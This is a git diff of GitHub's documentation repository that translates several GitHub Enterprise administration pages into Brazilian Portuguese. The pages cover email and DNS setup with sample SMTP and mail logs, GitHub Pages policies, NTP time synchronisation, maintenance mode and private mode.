 
-4. If the test email fails, [troubleshoot your email settings](#troubleshooting-email-delivery).
-5. When the test email succeeds, at the bottom of the page, click **Save settings**.
-![Save settings button](/assets/images/enterprise/management-console/save-settings.png)
-6. Wait for the configuration run to complete.
-![Configuring your instance](/assets/images/enterprise/management-console/configuration-run.png)
+4. Se houver falha no teste, consulte a [solução de problemas das suas configurações de e-mail](#troubleshooting-email-delivery).
+5. Quando o teste for concluído com êxito, clique em **Save settings** (Salvar configurações) na parte inferior da página. ![Botão Save settings (Salvar configurações)](/assets/images/enterprise/management-console/save-settings.png)
+6. Aguarde a conclusão da execução de suas configurações. ![Configurar a instância](/assets/images/enterprise/management-console/configuration-run.png)
 
-## Configuring DNS and firewall settings to allow incoming emails
+## Configurar DNS e firewall para o recebimento de e-mails
 
-If you want to allow email replies to notifications, you must configure your DNS settings.
+Se quiser permitir o recebimento de respostas para os e-mails de notificação, você deverá definir suas configurações DNS.
 
-1. Ensure that port 25 on the instance is accessible to your SMTP server.
-2. Create an A record that points to `reply.[hostname]`. Depending on your DNS provider and instance host configuration, you may be able to instead create a single A record that points to `*.[hostname]`.
-3. Create an MX record that points to `reply.[hostname]` so that emails to that domain are routed to the instance.
-4. Create an MX record that points `noreply.[hostname]` to `[hostname]` so that replies to the `cc` address in notification emails are routed to the instance. For more information, see {% ifversion ghes %}"[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications){% else %}"[About email notifications](/github/receiving-notifications-about-activity-on-github/about-email-notifications){% endif %}."
+1. A porta 25 da instância deve estar acessível para o seu servidor SMTP.
+2. Crie um registro A que aponte para `reply.[hostname]`. Dependendo do provedor DNS e da configuração do host da instância, você poderá criar um único registro A que aponte para `*.[hostname]`.
+3. Crie um registro MX que aponte para `reply.[hostname]`, de forma que os e-mails desse domínio sejam roteados para a instância.
+4. Crie um registro MX que aponte `noreply.[hostname]` para `[hostname]`, de forma que as respostas ao endereço `cc` nos e-mails de notificação sejam roteadas para a instância. Para obter mais informações, consulte {% ifversion ghes %}"[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications){% else %}"[Sobre notificações de e-mail](/github/receiving-notifications-about-activity-on-github/about-email-notifications)"{% endif %}."
 
-## Troubleshooting email delivery
+## Resolver problemas na entrega de e-mails
 
-### Create a Support Bundle
+### Criar um pacote de suporte
 
-If you cannot determine what is wrong from the displayed error message, you can download a [support bundle](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/providing-data-to-github-support) containing the entire SMTP conversation between your mail server and {% data variables.product.prodname_ghe_server %}. Once you've downloaded and extracted the bundle, check the entries in *enterprise-manage-logs/unicorn.log* for the entire SMTP conversation log and any related errors.
+Se não conseguir determinar o que houve de errado na mensagem de erro exibida, você pode baixar um [pacote de suporte](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/providing-data-to-github-support) com toda a conversa SMTP entre o seu servidor de e-mail e o {% data variables.product.prodname_ghe_server %}. Depois de fazer o download e extrair o pacote, verifique as entradas em *enterprise-manage-logs/unicorn.log* e veja o log completo de conversas SMTP com os erros relacionados.
 
-The unicorn log should show a transaction similar to the following:
+O log unicorn mostrará uma transação semelhante a esta:
 
 ```shell
-This is a test email generated from https://10.0.0.68/setup/settings
-Connection opened: smtp.yourdomain.com:587
+Este é um e-mail de teste gerado em https://10.0.0.68/setup/settings
+Conexão aberta: smtp.yourdomain.com:587
 -> "220 smtp.yourdomain.com ESMTP nt3sm2942435pbc.14\r\n"
 <- "EHLO yourdomain.com\r\n"
 -> "250-smtp.yourdomain.com at your service, [1.2.3.4]\r\n"
@@ -120,8 +105,8 @@ Connection opened: smtp.yourdomain.com:587
 -> "250-ENHANCEDSTATUSCODES\r\n"
 -> "250 PIPELINING\r\n"
 <- "STARTTLS\r\n"
--> "220 2.0.0 Ready to start TLS\r\n"
-TLS connection started
+-> "220 2.0.0 Pronto para começar TLS\r\n"
+Conexão TLS iniciada
 <- "EHLO yourdomain.com\r\n"
 -> "250-smtp.yourdomain.com at your service, [1.2.3.4]\r\n"
 -> "250-SIZE 35882577\r\n"
@@ -134,36 +119,36 @@ TLS connection started
 <- "dGhpc2lzbXlAYWRkcmVzcy5jb20=\r\n"
 -> "334 UGFzc3dvcmQ6\r\n"
 <- "aXRyZWFsbHl3YXM=\r\n"
--> "535-5.7.1 Username and Password not accepted. Learn more at\r\n"
+-> "535-5.7.1 Nome de usuário e senha não aceitos. Saiba mais em\r\n"
 -> "535 5.7.1 http://support.yourdomain.com/smtp/auth-not-accepted nt3sm2942435pbc.14\r\n"
 ```
 
-This log shows that the appliance:
+Esse log mostra que o appliance:
 
-* Opened a connection with the SMTP server (`Connection opened: smtp.yourdomain.com:587`).
-* Successfully made a connection and chose to use TLS (`TLS connection started`).
-* The `login` authentication type was performed (`<- "AUTH LOGIN\r\n"`).
-* The SMTP Server rejected the authentication as invalid (`-> "535-5.7.1 Username and Password not accepted.`).
+* Abriu uma conexão com o servidor SMTP (`Conexão aberta: smtp.yourdomain.com:587`);
+* Fez a conexão com êxito e decidiu usar TLS (`Conexão TLS iniciada`);
+* A autenticação de `login` foi feita (`<- "AUTH LOGIN\r\n"`);
+* O servidor SMTP rejeitou a autenticação como inválida (`-> "535-5.7.1 Nome de usuário e senha não aceitos.`).
 
-### Check {% data variables.product.product_location %} logs
+### Consultar logs da {% data variables.product.product_location %}
 
-If you need to verify that your inbound email is functioning, there are two log files that you can examine on your instance: To verify that */var/log/mail.log* and */var/log/mail-replies/metroplex.log*.
+Se você tiver de verificar o funcionamento do dos e-mails de entrada, examine dois arquivos de log na sua instância: */var/log/mail.log* e */var/log/mail-replies/metroplex.log*.
 
-*/var/log/mail.log* verifies that messages are reaching your server. Here's an example of a successful email reply:
+*/var/log/mail.log* verifica se as mensagens estão chegando ao seu servidor. Veja um exemplo de resposta de e-mail com êxito:
 
 ```
-Oct 30 00:47:18 54-171-144-1 postfix/smtpd[13210]: connect from st11p06mm-asmtp002.mac.com[17.172.124.250]
+Oct 30 00:47:18 54-171-144-1 postfix/smtpd[13210]: conectado de st11p06mm-asmtp002.mac.com[17.172.124.250]
 Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: 51DC9163323: client=st11p06mm-asmtp002.mac.com[17.172.124.250]
 Oct 30 00:47:19 54-171-144-1 postfix/cleanup[13216]: 51DC9163323: message-id=<b2b9c260-4aaa-4a93-acbb-0b2ddda68579@me.com>
-Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: from=<tcook@icloud.com>, size=5048, nrcpt=1 (queue active)
-Oct 30 00:47:19 54-171-144-1 postfix/virtual[13217]: 51DC9163323: to=<reply+i-1-1801beb4df676a79250d1e61e54ab763822c207d-5@reply.ghe.tjl2.co.ie>, relay=virtual, delay=0.12, delays=0.11/0/0/0, dsn=2.0.0, status=sent (delivered to maildir)
-Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: removed
-Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: disconnect from st11p06mm-asmtp002.mac.com[17.172.124.250]
+Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: from=<tcook@icloud.com>, size=5048, nrcpt=1 (fila ativa)
+Oct 30 00:47:19 54-171-144-1 postfix/virtual[13217]: 51DC9163323: to=<reply+i-1-1801beb4df676a79250d1e61e54ab763822c207d-5@reply.ghe.tjl2.co.ie>, relay=virtual, delay=0.12, delays=0.11/0/0/0, dsn=2.0.0, status=sent (entregue a maildir)
+Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: removido
+Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: desconectado de st11p06mm-asmtp002.mac.com[17.172.124.250]
 ```
 
-Note that the client first connects; then, the queue becomes active. Then, the message is delivered, the client is removed from the queue, and the session disconnects.
+Observe que o cliente se conecta e depois a fila fica ativa. Em seguida, a mensagem é entregue, o cliente é removido da fila e a sessão é desconectada.
 
-*/var/log/mail-replies/metroplex.log* shows whether inbound emails are being processed to add to issues and pull requests as replies. Here's an example of a successful message:
+*/var/log/mail-replies/metroplex.log* mostra se os e-mails de entrada estão sendo processados para adicionar problemas e pull requests como respostas. Veja um exemplo de mensagem com êxito:
 
 ```
 [2014-10-30T00:47:23.306 INFO (5284) #] metroplex: processing <b2b9c260-4aaa-4a93-acbb-0b2ddda68579@me.com>
@@ -171,19 +156,19 @@ Note that the client first connects; then, the queue becomes active. Then, the m
 [2014-10-30T00:47:23.334 DEBUG (5284) #] Moving /data/user/mail/reply/new/1414630039.Vfc00I12000eM445784.ghe-tjl2-co-ie => /data/user/incoming-mail/success
 ```
 
-You'll notice that `metroplex` catches the inbound message, processes it, then moves the file over to `/data/user/incoming-mail/success`.{% endif %}
+Você notará que `metroplex` captura a mensagem de entrada, processa essa mensagem e, em seguida, transfere o arquivo para `/data/user/incoming-mail/success`.{% endif %}
 
-### Verify your DNS settings
+### Verificar as configurações DNS
 
-In order to properly process inbound emails, you must configure a valid A Record (or CNAME), as well as an MX Record. For more information, see "[Configuring DNS and firewall settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)."
+Para processar corretamente os e-mails de entrada, você deve configurar um registro A válido (ou CNAME) e um registro MX. Para obter mais informações, consulte "[Definir as configurações de DNS e firewall para permitir recebimento de e-mails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)".
 
-### Check firewall or AWS Security Group settings
+### Verificar as configurações de firewall ou grupo de segurança do AWS
 
-If {% data variables.product.product_location %} is behind a firewall or is being served through an AWS Security Group, make sure port 25 is open to all mail servers that send emails to `reply@reply.[hostname]`.
+Se a {% data variables.product.product_location %} estiver atrás de um firewall ou estiver funcionando com um grupo de segurança do AWS, verifique se a porta 25 está aberta para todos os servidores de e-mail que enviam mensagens para `reply@reply.[hostname]`.
 
-### Contact support
+### Entrar em contato com o suporte
 {% ifversion ghes %}
-If you're still unable to resolve the problem, contact {% data variables.contact.contact_ent_support %}. Please attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email to help us troubleshoot your problem.
+Se você não conseguir resolver o problema, entre em contato com o {% data variables.contact.contact_ent_support %}. Para nos ajudar a resolver a questão, anexe o arquivo de saída de `http(s)://[hostname]/setup/diagnostics` ao seu e-mail.
 {% elsif ghae %}
-You can contact {% data variables.contact.github_support %} for help configuring email for notifications to be sent through your SMTP server. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
+Você pode entrar em contato com {% data variables.contact.github_support %} para ajudar a configurar o e-mail de notificações a serem enviadas através do seu servidor SMTP. Para obter mais informações, consulte "[Receber ajuda de {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)".
 {% endif %}
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
index d341653ffe..5c2a0c285c 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring GitHub Pages for your enterprise
-intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.'
+title: Configurar o GitHub Pages para a sua empresa
+intro: 'Você pode habilitar ou desabilitar {% data variables.product.prodname_pages %} para a sua empresa{% ifversion ghes %} e escolher se deseja tornar os sites acessíveis ao público{% endif %}.'
 redirect_from:
   - /enterprise/admin/guides/installation/disabling-github-enterprise-pages
   - /enterprise/admin/guides/installation/configuring-github-enterprise-pages
@@ -16,37 +16,35 @@ type: how_to
 topics:
   - Enterprise
   - Pages
-shortTitle: Configure GitHub Pages
+shortTitle: Configurar o GitHub Pages
 ---
 
 {% ifversion ghes %}
 
-## Enabling public sites for {% data variables.product.prodname_pages %}
+## Habilitar sites públicos para {% data variables.product.prodname_pages %}
 
-If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites.
+Se o modo privado for habilitado na sua empresa, o público não poderá acessar sites de {% data variables.product.prodname_pages %} hospedados pela sua empresa, a menos que você habilite os sites públicos.
 
 {% warning %}
 
-**Warning:** If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public.
+**Aviso:** Se você habilitar sites públicos para {% data variables.product.prodname_pages %}, todos os sites em cada repositório da sua empresa serão acessíveis ao público.
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.pages-tab %}
-4. Select **Public Pages**.
-  ![Checkbox to enable Public Pages](/assets/images/enterprise/management-console/public-pages-checkbox.png)
+4. Selecione **Public Pages** (Pages público). ![Caixa de seleção para deixar o Pages acessível publicamente](/assets/images/enterprise/management-console/public-pages-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Disabling {% data variables.product.prodname_pages %} for your enterprise
+## Desabilitar {% data variables.product.prodname_pages %} para a sua empresa
 
-If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)."
+Se o isolamento de subdomínio estiver desabilitado para sua empresa, você também deverá desabilitar {% data variables.product.prodname_pages %} para se proteger de possíveis vulnerabilidades de segurança. Para obter mais informações, consulte "[Habilitar o isolamento de subdomínio](/admin/configuration/enabling-subdomain-isolation)".
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.pages-tab %}
-4. Unselect **Enable Pages**.
-  ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png)
+4. Desmarque a seleção na caixa **Enable Pages** (Habilitar Pages). ![Caixa de seleção para desabilitar o{% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% endif %}
@@ -56,14 +54,13 @@ If subdomain isolation is disabled for your enterprise, you should also disable
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.pages-tab %}
-5. Under "Pages policies", deselect **Enable {% data variables.product.prodname_pages %}**.
-  ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png)
+5. Em "Páginas políticas", desmarque **{% data variables.product.prodname_pages %}públicas**. ![Caixa de seleção para desabilitar o{% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png)
 {% data reusables.enterprise-accounts.pages-policies-save %}
 
 {% endif %}
 
 {% ifversion ghes %}
-## Further reading
+## Leia mais
 
-- "[Enabling private mode](/admin/configuration/enabling-private-mode)"
+- "[Habilitar o modo privado](/admin/configuration/enabling-private-mode)"
 {% endif %}
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
index 0d0af44dc0..25332a7ca4 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring time synchronization
-intro: '{% data variables.product.prodname_ghe_server %} automatically synchronizes its clock by connecting to NTP servers. You can set the NTP servers that are used to synchronize the clock, or you can use the default NTP servers.'
+title: Configurar a sincronização de hora
+intro: 'O {% data variables.product.prodname_ghe_server %} sincroniza automaticamente o relógio conectando-se a servidores NTP. Você pode definir os servidores NTP usados para sincronizar o relógio ou pode usar os servidores NTP padrão.'
 redirect_from:
   - /enterprise/admin/articles/adjusting-the-clock
   - /enterprise/admin/articles/configuring-time-zone-and-ntp-settings
@@ -17,33 +17,31 @@ topics:
   - Fundamentals
   - Infrastructure
   - Networking
-shortTitle: Configure time settings
+shortTitle: Definir configurações de hora
 ---
-## Changing the default NTP servers
+
+## Alterar os servidores NTP padrão
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-2. In the left sidebar, click **Time**.
-    ![The Time button in the {% data variables.enterprise.management_console %} sidebar](/assets/images/enterprise/management-console/sidebar-time.png)
-3. Under "Primary NTP server," type the hostname of the primary NTP server. Under "Secondary NTP server," type the hostname of the secondary NTP server.
-    ![The fields for primary and secondary NTP servers in the {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/ntp-servers.png)
-4. At the bottom of the page, click **Save settings**.
-    ![The Save settings button in the {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/save-settings.png)
-5. Wait for the configuration run to complete.
+2. Na barra lateral esquerda, clique em **Time** (Hora). ![Botão Time (Hora) na barra lateral do {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/sidebar-time.png)
+3. Em "Primary NTP server" (Servidor NTP primário), digite o nome do host do servidor NTP primário. Em "Secondary NTP server" (Servidor NTP secundário), digite o nome do host do servidor NTP secundário. ![Campos de servidores NTP primário e secundário no {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/ntp-servers.png)
+4. Na parte inferior da página, clique em **Save settings** (Salvar configurações). ![Botão Save settings (Salvar configurações) no {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/save-settings.png)
+5. Aguarde a conclusão da execução de suas configurações.
 
-## Correcting a large time drift
+## Corrigir descompassos de tempo
 
-The NTP protocol continuously corrects small time synchronization discrepancies. You can use the administrative shell to synchronize time immediately.
+O protocolo NTP corrige continuamente pequenas discrepâncias de sincronização de tempo. Você pode usar o shell administrativo para sincronizar a hora de imediato.
 
 {% note %}
 
-**Notes:**
- - You can't modify the Coordinated Universal Time (UTC) zone.
- - You should prevent your hypervisor from trying to set the virtual machine's clock. For more information, see the documentation provided by the virtualization provider.
+**Notas:**
+ - Você não pode modificar o Tempo Universal Coordenado (UTC);
+ - Você deve impedir seu hipervisor de tentar configurar o relógio da máquina virtual. Para obter mais informações, consulte a documentação fornecida pelo provedor de virtualização.
 
 {% endnote %}
 
-- Use the `chronyc` command to synchronize the server with the configured NTP server. For example:
+- Use o comando `chronyc` para sincronizar seu servidor com o servidor NTP configurado. Por exemplo:
 
 ```shell
 $ sudo chronyc -a makestep
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
index 8444f9199d..4084519a80 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling and scheduling maintenance mode
-intro: 'Some standard maintenance procedures, such as upgrading {% data variables.product.product_location %} or restoring backups, require the instance to be taken offline for normal use.'
+title: Habilitar e programar o modo de manutenção
+intro: 'Alguns procedimentos de manutenção padrão, como atualizar a {% data variables.product.product_location %} ou fazer backups de restauração, exigem que a instância esteja offline para uso normal.'
 redirect_from:
   - /enterprise/admin/maintenance-mode
   - /enterprise/admin/categories/maintenance-mode
@@ -19,55 +19,52 @@ topics:
   - Fundamentals
   - Maintenance
   - Upgrades
-shortTitle: Configure maintenance mode
+shortTitle: Configurar modo de manutenção
 ---
-## About maintenance mode
 
-Some types of operations require that you take {% data variables.product.product_location %} offline and put it into maintenance mode:
-- Upgrading to a new version of {% data variables.product.prodname_ghe_server %}
-- Increasing CPU, memory, or storage resources allocated to the virtual machine
-- Migrating data from one virtual machine to another
-- Restoring data from a {% data variables.product.prodname_enterprise_backup_utilities %} snapshot
-- Troubleshooting certain types of critical application issues
+## Sobre o modo de manutenção
 
-We recommend that you schedule a maintenance window for at least 30 minutes in the future to give users time to prepare. When a maintenance window is scheduled, all users will see a banner when accessing the site.
+Alguns tipos de operações requerem que a {% data variables.product.product_location %} esteja offline e no modo de manutenção:
+- Atualizar para uma nova versão do {% data variables.product.prodname_ghe_server %};
+- Aumentar a capacidade dos recursos de CPU, memória ou armazenamento alocados na máquina virtual;
+- Migrar dados de uma máquina virtual para outra;
+- Restaurar dados de um instantâneo do {% data variables.product.prodname_enterprise_backup_utilities %};
+- Solucionar determinados tipos de problemas graves no aplicativo.
 
-![End user banner about scheduled maintenance](/assets/images/enterprise/maintenance/maintenance-scheduled.png)
+É recomendável programar um período de manutenção de no mínimo 30 minutos para que os usuários tenham tempo de se preparar. Quando houver um período de manutenção programado, todos os usuários verão um banner ao acessar o site.
 
-When the instance is in maintenance mode, all normal HTTP and Git access is refused. Git fetch, clone, and push operations are also rejected with an error message indicating that the site is temporarily unavailable. GitHub Actions jobs will not be executed. Visiting the site in a browser results in a maintenance page.
+![Banner para usuário final sobre manutenção programada](/assets/images/enterprise/maintenance/maintenance-scheduled.png)
 
-![The maintenance mode splash screen](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png)
+Quando a instância estiver em modo de manutenção, todos os acessos regulares por HTTP e Git serão recusados. Operações de fetch, clonagem e push também são rejeitadas, e uma mensagem de erro indicará que o site está temporariamente indisponível. Os trabalhos com GitHub Actions não serão executados. O acesso ao site por navegador levará a uma página de manutenção.
 
-## Enabling maintenance mode immediately or scheduling a maintenance window for a later time
+![Tela inicial do modo de manutenção](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png)
+
+## Habilitar o modo de manutenção imediatamente ou programar um período de manutenção mais tarde
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-2. At the top of the {% data variables.enterprise.management_console %}, click **Maintenance**.
-  ![Maintenance tab](/assets/images/enterprise/management-console/maintenance-tab.png)
-3. Under "Enable and schedule", decide whether to enable maintenance mode immediately or to schedule a maintenance window for a future time.
-    - To enable maintenance mode immediately, use the drop-down menu and click **now**.
-    ![Drop-down menu with the option to enable maintenance mode now selected](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png)
-    - To schedule a maintenance window for a future time, use the drop-down menu and click a start time.
-    ![Drop-down menu with the option to schedule a maintenance window in two hours selected](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png)
-4. Select **Enable maintenance mode**.
-  ![Checkbox for enabling or scheduling maintenance mode](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png)
+2. Na parte superior do {% data variables.enterprise.management_console %}, clique em **Maintenance** (Manutenção). ![Guia de manutenção](/assets/images/enterprise/management-console/maintenance-tab.png)
+3. Em "Enable and schedule" (Habilitar e programar), decida se você quer habilitar o modo de manutenção imediatamente ou programar um período de manutenção depois.
+    - Para habilitar o modo de manutenção imediatamente, use o menu suspenso e clique em **Now** (Agora). ![Menu suspenso com a opção para habilitar o modo de manutenção agora](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png)
+    - Para programar um período de manutenção depois, use o menu suspenso e clique no horário em que você pretende iniciar o período de manutenção.![Menu suspenso com a opção para habilitar o modo de manutenção em duas horas](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png)
+4. Selecione **Enable maintenance mode** (Habilitar modo de manutenção). ![Caixa de seleção para habilitar ou programar o modo de manutenção](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Scheduling maintenance mode with {% data variables.product.prodname_enterprise_api %}
+## Programar o modo de manutenção com a {% data variables.product.prodname_enterprise_api %}
 
-You can schedule maintenance for different times or dates with {% data variables.product.prodname_enterprise_api %}. For more information, see "[Management Console](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)."
+Você pode programar o modo de manutenção para horas ou datas diferentes na {% data variables.product.prodname_enterprise_api %}. Para obter mais informações, consulte "[Console de gerenciamento](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)".
 
-## Enabling or disabling maintenance mode for all nodes in a cluster
+## Habilitar ou desabilitar o modo de manutenção para todos os nós do cluster
 
-With the `ghe-cluster-maintenance` utility, you can set or unset maintenance mode for every node in a cluster.
+Com o utilitário `ghe-cluster-maintenance`, você pode definir ou cancelar as definições do modo de manutenção para cada nó de um cluster.
 
 ```shell
 $ ghe-cluster-maintenance -h
-# Shows options
+# Mostra opções
 $ ghe-cluster-maintenance -q
-# Queries the current mode
+# Consultas no modo atual
 $ ghe-cluster-maintenance -s
-# Sets maintenance mode
+# Define o modo de manutenção
 $ ghe-cluster-maintenance -u
-# Unsets maintenance mode
+# Cancela a definição do modo de manutenção
 ```
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
index a4343fa9a8..055f2fe734 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling private mode
-intro: 'In private mode, {% data variables.product.prodname_ghe_server %} requires every user to sign in to access the installation.'
+title: Habilitar o modo privado
+intro: 'No modo privado, o {% data variables.product.prodname_ghe_server %} exige que todos os usuários façam login para acessar a instalação.'
 redirect_from:
   - /enterprise/admin/articles/private-mode
   - /enterprise/admin/guides/installation/security
@@ -21,15 +21,15 @@ topics:
   - Privacy
   - Security
 ---
-You must enable private mode if {% data variables.product.product_location %} is publicly accessible over the Internet. In private mode, users cannot anonymously clone repositories over `git://`. If built-in authentication is also enabled, an administrator must invite new users to create an account on the instance. For more information, see "[Using built-in authentication](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-built-in-authentication)."
+
+Você deve habilitar o modo privado se a {% data variables.product.product_location %} estiver acessível publicamente pela Internet. No modo privado, os usuários não podem clonar anonimamente repositórios em `git://`. Se a autenticação integrada também estiver habilitada, o administrador deverá convidar novos usuários para criar uma conta na instância. Para obter mais informações, consulte "[Usar autenticação integrada](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-built-in-authentication)".
 
 {% data reusables.enterprise_installation.image-urls-viewable-warning %}
 
-With private mode enabled, you can allow unauthenticated Git operations (and anyone with network access to {% data variables.product.product_location %}) to read a public repository's code on your instance with anonymous Git read access enabled. For more information, see "[Allowing admins to enable anonymous Git read access to public repositories](/enterprise/{{ currentVersion }}/admin/guides/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)."
+Com o modo privado habilitado, você pode permitir que operações não autenticadas do Git (e qualquer pessoa com acesso de rede à {% data variables.product.product_location %}) leia o código de um repositório público na sua instância com o acesso de leitura anônimo do Git habilitado. Para obter mais informações, consulte "[Permitir que administradores habilitem o acesso de leitura anônimo do Git a repositórios públicos](/enterprise/{{ currentVersion }}/admin/guides/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)".
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-4. Select **Private mode**.
-  ![Checkbox for enabling private mode](/assets/images/enterprise/management-console/private-mode-checkbox.png)
+4. Selecione **Private mode** (Modo privado). ![Caixa de seleção para habilitar o modo privado](/assets/images/enterprise/management-console/private-mode-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/index.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/index.md
index ff4c39c4da..229490c7c4 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/index.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring your enterprise
-intro: 'After {% data variables.product.product_name %} is up and running, you can configure your enterprise to suit your organization''s needs.'
+title: Configurar a sua empresa
+intro: 'Depois que {% data variables.product.product_name %} estiver pronto e funcionando, você poderá configurar a sua empresa para atender às necessidades da sua organização.'
 redirect_from:
   - /enterprise/admin/guides/installation/basic-configuration
   - /enterprise/admin/guides/installation/administrative-tools
@@ -35,6 +35,6 @@ children:
   - /configuring-github-pages-for-your-enterprise
   - /configuring-the-referrer-policy-for-your-enterprise
   - /configuring-custom-footers
-shortTitle: Configure your enterprise
+shortTitle: Configure sua empresa
 ---
 
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md
index a21010bcdc..de7f8e40db 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Managing GitHub Mobile for your enterprise
-intro: 'You can decide whether authenticated users can connect to {% data variables.product.product_location %} with {% data variables.product.prodname_mobile %}.'
+title: Gerenciando o GitHub Mobile para a sua empresa
+intro: 'Você pode decidir se usuários autenticados podem se conectar-se a {% data variables.product.product_location %} com {% data variables.product.prodname_mobile %}.'
 permissions: 'Enterprise owners can manage {% data variables.product.prodname_mobile %} for an enterprise on {% data variables.product.product_name %}.'
 versions:
